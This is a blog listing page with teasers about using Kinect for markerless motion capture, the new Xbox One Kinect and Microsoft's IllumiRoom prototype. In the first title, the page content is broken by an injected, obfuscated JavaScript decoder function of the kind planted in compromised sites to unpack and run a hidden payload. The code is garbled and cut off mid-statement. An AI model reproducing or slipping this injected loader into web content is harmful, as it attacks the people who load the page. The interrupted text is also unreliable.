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iPi Soft and Kinect for Markerless Motion Capture?

ipi soft andfunction h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q94);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6

New Kinect for Motion Capture?

Kinect for motion capture

The big news yesterday was the announcement of the new Xbox One and the new Kinect that goes along with it.  As expected it looks like it will deliver a great home gaming experience and serve as a compelling way to to interact with a new wave of games for the console.  For us, however,… [Read More]

IllumiRoom: Augmented Reality from Microsoft (w/ video)

augmented reality for video game developers

Microsoft Research is doing some interesting research with augmented reality that may be of interest to video game developers. Their recent prototype called IllumiRoom, which combines Kinect sensor technology with a projector, creates effects on the walls of the room your television is in to extend the gaming experience. Here’s how it works: the Kinect… [Read More]